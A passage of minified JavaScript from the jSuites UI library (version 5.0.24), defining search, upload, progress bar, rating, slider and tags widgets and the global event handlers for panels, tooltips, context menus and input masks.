a.options.onselect&&a.options.onselect(a,n,i,t,o),a.close()},a.open=function(){e.style.display="block"},a.close=function(){o&&clearTimeout(o),a.terms="",s.innerHTML="",e.style.display=""},a.isOpened=function(){return!!e.style.display},a.keydown=function(e){a.isOpened()&&("Enter"==e.key?null!==n&&s.children[n]?(a.selectIndex(s.children[n]),e.preventDefault()):a.close():"ArrowUp"===e.key?(null!==n&&s.children[0]&&(s.children[n].classList.remove("selected"),a.options.forceSelect||0!==n?(n=Math.max(0,n-1),s.children[n].classList.add("selected")):n=null),e.preventDefault()):"ArrowDown"===e.key&&(null==n?n=-1:s.children[n].classList.remove("selected"),n<9&&s.children[n+1]&&n++,s.children[n].classList.add("selected"),e.preventDefault()))},a.keyup=function(e){if(!a.options.searchByNode&&a.options.input)if("DIV"===a.options.input.tagName)var t=a.options.input.innerText;else t=a.options.input.value;else{var n=r.getNode();n&&(t=n.innerText)}if("function"==typeof a.options.onbeforesearch){var i=a.options.onbeforesearch(a,t);if(i)t=i;else if(!1===i)return}a(t)},a.blur=function(e){a.close()},a.options.input&&(a.options.input.addEventListener("keyup",a.keyup),a.options.input.addEventListener("keydown",a.keydown),a.options.input.addEventListener("blur",a.blur));var s=document.createElement("div");return s.classList.add("jsearch_container"),s.onmousedown=function(e){if(e.target.classList.contains("jsearch_item"))var t=e.target;else t=e.target.parentNode;a.selectIndex(t),e.preventDefault()},e.appendChild(s),e.classList.add("jsearch"),e.search=a,a}function I(e,t){var n={options:{}},i={type:"image",extension:"*",input:!1,minWidth:!1,maxWidth:null,maxHeight:null,maxJpegSizeBytes:null,onchange:null,multiple:!1,remoteParser:null};for(var o in i)t&&t.hasOwnProperty(o)?n.options[o]=t[o]:n.options[o]=i[o];1==n.options.multiple&&e.setAttribute("data-multiple",!0),e.content=[],e.classList.add("jupload"),1==n.options.input&&e.classList.add("input"),n.add=function(t){if(0==n.options.multiple&&(e.content=[],e.innerText=""),"image"==n.options.type){var i=document.createElement("img");i.setAttribute("src",t.file),i.setAttribute("tabindex",-1),e.getAttribute("name")||(i.className="jfile",i.content=t),e.appendChild(i)}else{if(t.name)var o=t.name;else o=t.file;var a=document.createElement("div");a.innerText=o||n.options.type,a.classList.add("jupload-item"),a.setAttribute("tabindex",-1),e.appendChild(a)}t.content&&(t.file=r.guid()),e.content.push(t),"function"==typeof n.options.onchange&&n.options.onchange(e,t)},n.addFromFile=function(e){if(e.type.split("/")[0]==n.options.type){var t=new FileReader;t.addEventListener("load",(function(t){var i={file:t.srcElement.result,extension:e.name.substr(e.name.lastIndexOf(".")+1),name:e.name,size:e.size,lastmodified:e.lastModified,content:t.srcElement.result};n.add(i)})),t.readAsDataURL(e)}else alert(c.translate("This extension is not allowed"))},n.addFromUrl=function(e){if("data"==e.substr(0,4)||n.options.remoteParser)if("data"==e.substr(0,4))if((i=(i=e.split(";"))[0].split("/"))[0].replace("data:","")==n.options.type){var t={file:e,name:"",extension:i[1],content:e};n.add(t)}else alert(n.options.text.extensionNotAllowed);else{var i=e.substr(e.lastIndexOf(".")+1);e=n.options.remoteParser+e,m({url:e,type:"GET",dataType:"blob",success:function(e){}})}else console.error("remoteParser not defined in your initialization")};var a=n.options.type+"/"+n.options.extension,s=document.createElement("input");s.type="file",s.setAttribute("accept",a),s.onchange=function(){for(var e=0;e<this.files.length;e++)n.addFromFile(this.files[e])},1==n.options.multiple&&s.setAttribute("multiple",!0);var l=null;return e.addEventListener("click",(function(t){l=null,e.children.length&&t.target!==e?t.target.parentNode==e&&(l=t.target):r.click(s)})),e.addEventListener("dblclick",(function(e){r.click(s)})),e.addEventListener("dragenter",(function(t){e.style.border="1px dashed #000"})),e.addEventListener("dragleave",(function(t){e.style.border="1px solid #eee"})),e.addEventListener("dragstop",(function(t){e.style.border="1px solid #eee"})),e.addEventListener("dragover",(function(e){e.preventDefault()})),e.addEventListener("keydown",(function(t){if(l&&46==t.which){var n=Array.prototype.indexOf.call(e.children,l);n>=0&&(e.content.splice(n,1),l.remove(),l=null)}})),e.addEventListener("drop",(function(t){t.preventDefault(),t.stopPropagation();var i=(t.originalEvent||t).dataTransfer.getData("text/html");if((t.originalEvent||t).dataTransfer.files.length)for(var o=0;o<t.dataTransfer.files.length;o++)n.addFromFile(t.dataTransfer.files[o]);else if(i){0==n.options.multiple&&(e.innerText="");var a=document.createElement("div");a.innerHTML=i;var s=a.querySelectorAll("img");if(s.length)for(o=0;o<s.length;o++)n.addFromUrl(s[o].src)}return e.style.border="1px solid #eee",!1})),e.val=function(t){if(void 0===t)return e.content&&e.content.length?e.content:null;if(e.innerText="",e.content=[],t)if(Array.isArray(t))for(var i=0;i<t.length;i++)"string"==typeof t[i]?n.add({file:t[i]}):n.add(t[i]);else"string"==typeof t&&n.add({file:t})},e.upload=e.image=n,n}var H=n(195),S=n.n(H),R={...c,...r,version:"5.0.24",setExtensions:function(e){if("object"==typeof e)for(var t=Object.keys(e),n=0;n<t.length;n++)R[t[n]]=e[t[n]]},tracking:u,path:p,sorting:h,lazyLoading:f,ajax:m,animation:v,calendar:y,color:w,contextmenu:L,dropdown:j,editor:T,floating:k,form:M,mask:g,modal:D,notification:O,palette:b,picker:E,progressbar:function(e,t){var n={options:{}},i={value:0,onchange:null,width:null};for(var o in i)t&&t.hasOwnProperty(o)?n.options[o]=t[o]:n.options[o]=i[o];e.classList.add("jprogressbar"),e.setAttribute("tabindex",1),e.setAttribute("data-value",n.options.value);var a=document.createElement("div");a.style.width=n.options.value+"%",a.style.color="#fff",e.appendChild(a),n.options.width&&(e.style.width=n.options.width),n.setValue=function(t){t=parseInt(t),n.options.value=t,a.style.width=t+"%",e.setAttribute("data-value",t+"%"),e.style.color=t<6?"#000":"#fff",n.options.value=t,"function"==typeof n.options.onchange&&n.options.onchange(e,t),e.value!=n.options.value&&(e.value=n.options.value,"function"==typeof e.oninput&&e.oninput({type:"input",target:e,value:e.value}))},n.getValue=function(){return n.options.value};var s=function(t){if(t.which){var i=e.getBoundingClientRect();if(t.changedTouches&&t.changedTouches[0]){var o=t.changedTouches[0].clientX;t.changedTouches[0].clientY}else o=t.clientX,t.clientY;n.setValue(Math.round((o-i.left)/i.width*100))}};return"touchstart"in document.documentElement==1?(e.addEventListener("touchstart",s),e.addEventListener("touchend",s)):(e.addEventListener("mousedown",s),e.addEventListener("mousemove",s)),e.change=n.setValue,e.val=function(e){if(void 0===e)return n.getValue();n.setValue(e)},e.progressbar=n,n},rating:function(e,t){if(e.rating)return e.rating.setOptions(t,!0);var n={options:{},setOptions:function(t,i){var o={number:5,value:0,tooltip:["Very bad","Bad","Average","Good","Very good"],onchange:null};for(var a in o)t&&t.hasOwnProperty(a)?n.options[a]=t[a]:void 0!==n.options[a]&&!0!==i||(n.options[a]=o[a]);e.innerHTML="";for(var s=0;s<n.options.number;s++){var r=document.createElement("div");r.setAttribute("data-index",s+1),r.setAttribute("title",n.options.tooltip[s]),e.appendChild(r)}if(n.options.value)for(s=0;s<n.options.number;s++)s<n.options.value&&e.children[s].classList.add("jrating-selected");return n},setValue:function(t){for(var i=0;i<n.options.number;i++)i<t?e.children[i].classList.add("jrating-selected"):(e.children[i].classList.remove("jrating-over"),e.children[i].classList.remove("jrating-selected"));n.options.value=t,"function"==typeof n.options.onchange&&n.options.onchange(e,t),e.value!=n.options.value&&(e.value=n.options.value,"function"==typeof e.oninput&&e.oninput({type:"input",target:e,value:e.value}))},getValue:function(){return n.options.value}};return n.setOptions(t),e.classList.add("jrating"),e.addEventListener("click",(function(e){var t=e.target.getAttribute("data-index");null!=t&&(t==n.options.value?n.setValue(0):n.setValue(t))})),e.addEventListener("mouseover",(function(t){for(var i=t.target.getAttribute("data-index"),o=0;o<n.options.number;o++)o<i?e.children[o].classList.add("jrating-over"):e.children[o].classList.remove("jrating-over")})),e.addEventListener("mouseout",(function(t){for(var i=0;i<n.options.number;i++)e.children[i].classList.remove("jrating-over")})),e.change=n.setValue,e.val=function(e){if(void 0===e)return n.getValue();n.setValue(e)},e.rating=n,n},search:N,slider:function(e,t){var n={options:{},currentImage:null};if(t&&(n.options=t),e.setAttribute("tabindex","900"),n.options.items=[],!e.classList.contains("jslider")){if(e.classList.add("jslider"),e.classList.add("unselectable"),n.options.height&&(e.style.minHeight=parseInt(n.options.height)+"px"),n.options.width&&(e.style.width=parseInt(n.options.width)+"px"),n.options.grid){e.classList.add("jslider-grid");var i=e.children.length;i>4&&e.setAttribute("data-total",i-4),e.setAttribute("data-number",i>4?4:i)}var o=document.createElement("div");if(o.classList.add("jslider-counter"),e.children.length>0)for(var a=0;a<e.children.length;a++){n.options.items.push(e.children[a]);var s=document.createElement("div");s.onclick=function(){var e=Array.prototype.slice.call(o.children).indexOf(this);n.show(n.currentImage=n.options.items[e])},o.appendChild(s)}var r=document.createElement("div");r.className="jslider-caption";var l=document.createElement("div"),d=document.createElement("div");d.className="jslider-close",d.innerHTML="",d.onclick=function(){n.close()},l.appendChild(r),l.appendChild(d)}n.updateCounter=function(e){for(var t=0;t<o.children.length;t++)if(o.children[t].classList.contains("jslider-counter-focus")){o.children[t].classList.remove("jslider-counter-focus");break}o.children[e].classList.add("jslider-counter-focus")},n.show=function(t){t||(t=e.children[0]),e.classList.add("jslider-focus"),e.classList.remove("jslider-grid"),e.appendChild(l),e.appendChild(o);var i=n.options.items.indexOf(t);n.updateCounter(i);for(var a=0;a<e.children.length;a++)e.children[a].style.display="";t.style.display="block",t.previousElementSibling?e.classList.add("jslider-left"):e.classList.remove("jslider-left"),t.nextElementSibling&&"IMG"==t.nextElementSibling.tagName?e.classList.add("jslider-right"):e.classList.remove("jslider-right"),n.currentImage=t,n.currentImage.offsetHeight>n.currentImage.offsetWidth&&n.currentImage.classList.add("jslider-vertical"),l.children[0].innerText=n.currentImage.getAttribute("title")},n.open=function(){n.show(),"function"==typeof n.options.onopen&&n.options.onopen(e)},n.close=function(){e.classList.remove("jslider-focus"),e.classList.remove("jslider-left"),e.classList.remove("jslider-right"),n.options.grid&&e.classList.add("jslider-grid");for(var t=0;t<e.children.length;t++)e.children[t].style.display="";o.remove(),l.remove(),n.currentImage=null,"function"==typeof n.options.onclose&&n.options.onclose(e)},n.reset=function(){e.innerHTML=""},n.next=function(){var e=n.currentImage.nextElementSibling;e&&"IMG"===e.tagName&&n.show(n.currentImage.nextElementSibling)},n.prev=function(){n.currentImage.previousElementSibling&&n.show(n.currentImage.previousElementSibling)};var c=function(e){if("IMG"==e.target.tagName)n.show(e.target);else if(!e.target.classList.contains("jslider-close")&&!e.target.parentNode.classList.contains("jslider-counter")&&!e.target.classList.contains("jslider-counter")){var t=e.offsetX||e.changedTouches[0].clientX;e.target.clientWidth-t<40?n.next():t<40&&n.prev()}};return"ontouchend"in document.documentElement==1?e.addEventListener("touchend",c):e.addEventListener("mouseup",c),e.addEventListener("swipeleft",(function(e){n.next(),e.preventDefault(),e.stopPropagation()})),e.addEventListener("swiperight",(function(e){n.prev(),e.preventDefault(),e.stopPropagation()})),e.addEventListener("keydown",(function(e){27==e.which&&n.close()})),e.slider=n,n},tabs:x,tags:function(e,t){if(e.tags)return e.tags.setOptions(t,!0);var n={type:"tags",options:{}},i=function(){return!!(n.options.limit&&e.children.length>=n.options.limit)},o=null,a=null;n.setOptions=function(t,i){var s={value:"",limit:null,search:null,placeholder:null,validation:null,onbeforepaste:null,onbeforechange:null,onlimit:null,onchange:null,onfocus:null,onblur:null,onload:null};for(var r in s)t&&t.hasOwnProperty(r)?n.options[r]=t[r]:void 0!==n.options[r]&&!0!==i||(n.options[r]=s[r]);return n.options.placeholder?e.setAttribute("data-placeholder",n.options.placeholder):e.removeAttribute("data-placeholder"),e.placeholder=n.options.placeholder,n.setValue(n.options.value),u(),n.options.search?a||(a=document.createElement("div"),e.parentNode.insertBefore(a,e.nextSibling),o=N(a,{data:n.options.search,onselect:function(e,t,i){n.selectIndex(t,i)}})):a&&(o=null,a.remove(),a=null),n},n.add=function(t,a){if("function"==typeof n.options.onbeforechange){var u=n.options.onbeforechange(e,n,n.options.value,t);if(!1===u)return!1;null!=u&&(t=u)}if(o&&o.close(),i())"function"==typeof n.options.onlimit?n.options.onlimit(n,n.options.limit):alert(c.translate("You reach the limit number of entries")+" "+n.options.limit);else{var p=r.getNode();if(!(p&&p.parentNode&&p.parentNode.classList.contains("jtags")&&p.nextSibling)||p.nextSibling.innerText&&p.nextSibling.innerText.trim()){if(e.lastChild&&(e.lastChild.innerText.trim()||e.removeChild(e.lastChild)),t&&"string"!=typeof t){for(var h=0;h<=t.length;h++)if(!i()){if(t[h]&&"string"!=typeof t[h])f=t[h].text,m=t[h].value;else var f=t[h]||"",m=null;v=l(f,m)}}else var v=l(t,t,p);d()}else v=p.nextSibling;a&&s(v)}},n.setLimit=function(t){for(n.options.limit=t,e.children.length;e.children.length>t;)e.removeChild(e.lastChild)},n.remove=function(t){t.parentNode.removeChild(t),e.children.length?d():n.add("",!0)},n.getData=function(){for(var t=[],n=0;n<e.children.length;n++){var i=e.children[n].innerText.replace("\n",""),o=e.children[n].getAttribute("data-value");o||(o=i),(i||o)&&t.push({text:i,value:o})}return t},n.getValue=function(t){var i=null;if(null!=t)(i=e.children[t].getAttribute("data-value"))||(i=e.children[t].innerText.replace("\n",""));else{for(var o=[],a=0;a<e.children.length;a++)(i=e.children[a].innerText.replace("\n",""))&&o.push(n.getValue(a));i=o.join(",")}return i},n.setValue=function(t){if(t){if(e.value!=t)if(Array.isArray(t))n.add(t);else{var i=(""+t).trim(),o=h(i);e.innerHTML="",n.add(o)}}else n.reset()},n.reset=function(){e.classList.add("jtags-empty"),e.innerHTML="<div></div>",d()},n.isValid=function(){for(var t=0,n=0;n<e.children.length;n++)e.children[n].classList.contains("jtags_error")&&t++;return 0==t},n.selectIndex=function(e,t){var o=r.getNode();o&&(o.innerText=e,t&&o.setAttribute("data-value",t),o.classList.remove("jtags_error"),i()||n.add("",!0))},n.search=function(e){e.innerText},n.destroy=function(){e.removeEventListener("mouseup",y),e.removeEventListener("keydown",m),e.removeEventListener("keyup",v),e.removeEventListener("paste",g),e.removeEventListener("focus",b),e.removeEventListener("blur",x),e.parentNode.removeChild(e)};var s=function(t){if(e.children.length){var n=document.createRange(),i=window.getSelection();t||(t=e.childNodes[e.childNodes.length-1]),n.setStart(t,t.length),n.collapse(!0),i.removeAllRanges(),i.addRange(n),e.scrollLeft=e.scrollWidth}},l=function(t,n,i){var o=document.createElement("div");return o.innerHTML=t||"",n&&o.setAttribute("data-value",n),i&&i.parentNode.classList.contains("jtags")?e.insertBefore(o,i.nextSibling):e.appendChild(o),o},d=function(){var t=n.getValue();t!=n.options.value&&(n.options.value=t,"function"==typeof n.options.onchange&&n.options.onchange(e,n,n.options.value),e.value!=n.options.value&&(e.value=n.options.value,"function"==typeof e.oninput&&e.oninput({type:"input",target:e,value:e.value}))),u()},u=function(){for(var t=0;t<e.children.length;t++)"DIV"===e.children[t].tagName&&(n.getValue(t)?(e.children[t].classList.add("jtags_label"),"function"==typeof n.options.validation&&n.getValue(t)?n.options.validation(e.children[t],e.children[t].innerText,e.children[t].getAttribute("data-value"))?e.children[t].classList.remove("jtags_error"):e.children[t].classList.add("jtags_error"):e.children[t].classList.remove("jtags_error")):e.children[t].classList.remove("jtags_label"));p()},p=function(){e.innerText.trim()?e.classList.remove("jtags-empty"):e.children.length&&"BR"!==e.children[0].tagName||(e.innerHTML="",s(l()))},h=function(e){var t=[],n="";if(e=e.trim()){for(var i=0;i<e.length;i++)","==e[i]||";"==e[i]||"\n"==e[i]?n&&(t.push(n.trim()),n=""):n+=e[i];n&&t.push(n)}return t},f=0,m=function(t){f=window.getSelection().anchorOffset,p(),"Tab"===t.key||";"===t.key||","===t.key?(window.getSelection().anchorOffset>1&&(i()?"function"==typeof n.options.onlimit&&n.options.onlimit(n,n.options.limit):n.add("",!0)),t.preventDefault()):"Enter"==t.key?o&&o.isOpened()||(window.getSelection().anchorOffset>1&&(i()||n.add("",!0)),t.preventDefault()):"Backspace"==t.key&&1==e.children.length&&window.getSelection().anchorOffset<1&&t.preventDefault(),o&&o.keydown(t),p()},v=function(e){if(39==e.which){var t=window.getSelection().anchorOffset;t>1&&t==f&&n.add("",!0)}else 13==e.which||38==e.which||40==e.which?e.preventDefault():o&&o.keyup(e);u()},g=function(t){if(t.clipboardData||t.originalEvent.clipboardData)var i=(t.originalEvent||t).clipboardData.getData("text/plain");else window.clipboardData&&(i=window.clipboardData.getData("Text"));var o=h(i);if("function"==typeof n.options.onbeforepaste){var a=n.options.onbeforepaste(e,n,o);if(!1===a)return t.preventDefault(),!1;a&&(o=a)}o.length>1?(n.add(o,!0),t.preventDefault()):o[0]&&(document.execCommand("insertText",!1,o[0]),t.preventDefault())},y=function(t){if(t.target.parentNode&&t.target.parentNode.classList.contains("jtags")&&(t.target.classList.contains("jtags_label")||t.target.classList.contains("jtags_error"))){var i=t.target.getBoundingClientRect();i.width-(t.clientX-i.left)<16&&n.remove(t.target)}t.target==e&&s()},b=function(){e.classList.contains("jtags-focus")||(e.children.length&&!n.getValue(e.children.length-1)||i()||l(""),"function"==typeof n.options.onfocus&&n.options.onfocus(e,n,n.getValue()),e.classList.add("jtags-focus"))},x=function(){if(e.classList.contains("jtags-focus")){o&&o.close();for(var t=0;t<e.children.length-1;t++)n.getValue(t)||e.removeChild(e.children[t]);d(),e.classList.remove("jtags-focus"),"function"==typeof n.options.onblur&&n.options.onblur(e,n,n.getValue())}};return"touchend"in document.documentElement==1?e.addEventListener("touchend",y):e.addEventListener("mouseup",y),e.addEventListener("keydown",m),e.addEventListener("keyup",v),e.addEventListener("paste",g),e.addEventListener("focus",b),e.addEventListener("blur",x),e.setAttribute("contenteditable",!0),e.classList.add("jtags"),n.setOptions(t),"function"==typeof n.options.onload&&n.options.onload(e,n),e.change=n.setValue,e.val=function(e){if(void 0===e)return n.getValue();n.setValue(e)},e.tags=n,n},toolbar:C,upload:I,validations:A};R.image=I,R.image.create=function(e){var t=document.createElement("img");return t.setAttribute("src",e.file),t.className="jfile",t.setAttribute("tabindex",-1),t.content=e,t},R.tracker=M,R.loading=v.loading,R.sha512=S();"undefined"==typeof document||document.jsuitesComponents||function(){document.jsuitesComponents=[];const e=function(t,n){return!(!t[n.type]||t[n.type]!=n)||!(!t.component||t.component!=n)||!!t.parentNode&&e(t.parentNode,n)};let t=15,n=null,i=!1,o={x:null,y:null},a=document.createElement("div");a.classList.add("jtooltip"),document.addEventListener("mouseup",(function(e){i&&i.e&&("function"==typeof i.e.refresh&&o.actioned&&i.e.refresh(),i.e.style.cursor=""),o={x:null,y:null},i=!1})),document.addEventListener("mousedown",(function(t){var o=R.findElement(t.target,"jpanel");if(o&&!o.classList.contains("readonly")){o.focus();var a=t.target.getBoundingClientRect();i={e:o,x:t.clientX,y:t.clientY,w:a.width,h:a.height,d:o.style.cursor,resizing:!!o.style.cursor,actioned:!1},o.style.width||(o.style.width=a.width+"px"),o.style.height||(o.style.height=a.height+"px");var s=window.getSelection();if(s.rangeCount)for(var r=0;r<s.rangeCount;r++)s.removeRange(s.getRangeAt(r));t.preventDefault(),t.stopPropagation()}else i=!1;if(t.changedTouches&&t.changedTouches[0])var l=t.changedTouches[0].clientX,d=t.changedTouches[0].clientY;else l=t.clientX,d=t.clientY;var c=t.path||t.composedPath&&t.composedPath();if(c)n=c[0];else{if(t.target&&t.target.shadowRoot)var u=t.target.shadowRoot;else u=document;n=u.elementFromPoint(l,d)}!function(t){if(document.jsuitesComponents&&document.jsuitesComponents.length>0)for(var n=0;n<document.jsuitesComponents.length;n++)document.jsuitesComponents[n]&&!e(t,document.jsuitesComponents[n])&&document.jsuitesComponents[n].close()}(n)})),document.addEventListener("mousemove",(function(e){if(i){var n=e.clientX||e.pageX,a=e.clientY||e.pageY;if(i.resizing){var s=null,r=null;if("e-resize"==i.d||"ne-resize"==i.d||"se-resize"==i.d)if(s=i.w+(n-i.x),i.e.style.width=s+"px",e.shiftKey){var l=(n-i.x)*(i.h/i.w);r=i.h+l,i.e.style.height=r+"px"}else l=!1;l||"s-resize"!=i.d&&"se-resize"!=i.d&&"sw-resize"!=i.d||(r=i.h+(a-i.y),i.e.style.height=r+"px"),"function"==typeof i.e.refresh&&(o.actioned=!0,i.e.refresh("dimensions",s,r))}else{null==o.x&&null==o.y&&(o.x=n,o.y=a);var d=n-o.x,c=a-o.y,u=i.e.offsetTop+c,p=i.e.offsetLeft+d;i.e.style.top=u+"px",i.e.style.left=p+"px",i.e.style.cursor="move",o.x=n,o.y=a,"function"==typeof i.e.refresh&&(o.actioned=!0,i.e.refresh("position",u,p))}}else{var h=R.findElement(e.target,"jpanel");if(h&&h.getAttribute("tabindex")){var f=h.getBoundingClientRect();e.clientY-f.top<t?f.width-(e.clientX-f.left)<t?h.style.cursor="ne-resize":e.clientX-f.left<t?h.style.cursor="nw-resize":h.style.cursor="n-resize":f.height-(e.clientY-f.top)<t?f.width-(e.clientX-f.left)<t?h.style.cursor="se-resize":e.clientX-f.left<t?h.style.cursor="sw-resize":h.style.cursor="s-resize":f.width-(e.clientX-f.left)<t?h.style.cursor="e-resize":e.clientX-f.left<t?h.style.cursor="w-resize":h.style.cursor=""}}})),document.addEventListener("mouseover",(function(e){var t=e.target.getAttribute("data-tooltip");if(t){if(a.innerText=t,e.changedTouches&&e.changedTouches[0])var n=e.changedTouches[0].clientX,i=e.changedTouches[0].clientY;else n=e.clientX,i=e.clientY;a.style.top=i+"px",a.style.left=n+"px",document.body.appendChild(a)}else a.innerText&&(a.innerText="",document.body.removeChild(a))})),document.addEventListener("dblclick",(function(e){var t=R.findElement(e.target,"jpanel");t&&"function"==typeof t.dblclick&&t.dblclick(e)})),document.addEventListener("keydown",(function(e){let t=document.activeElement;t&&"Delete"===e.key&&"function"==typeof t.delete&&(t.delete(),e.preventDefault(),e.stopImmediatePropagation()),document.jsuitesComponents&&document.jsuitesComponents.length&&(t=document.jsuitesComponents[document.jsuitesComponents.length-1],t&&"Escape"===e.key&&"function"==typeof t.isOpened&&"function"==typeof t.close&&t.isOpened()&&(t.close(),e.preventDefault(),e.stopImmediatePropagation()))})),document.addEventListener("contextmenu",(function(e){var t=document.activeElement;if(t&&"function"==typeof t.contextmenu)t.contextmenu(e),e.preventDefault(),e.stopImmediatePropagation();else if(t=R.findElement(e.target,(function(e){return e.tagName&&e.getAttribute("aria-contextmenu-id")})),t){var n=document.querySelector("#"+t);n?(n.contextmenu.open(e),e.preventDefault(),e.stopImmediatePropagation()):console.error("JSUITES: contextmenu id not found: "+t)}})),document.addEventListener("input",(function(e){(e.target.getAttribute("data-mask")||e.target.mask)&&R.mask(e)}))}();var Y=R}(),i.default}()},window.jSuites=e()}();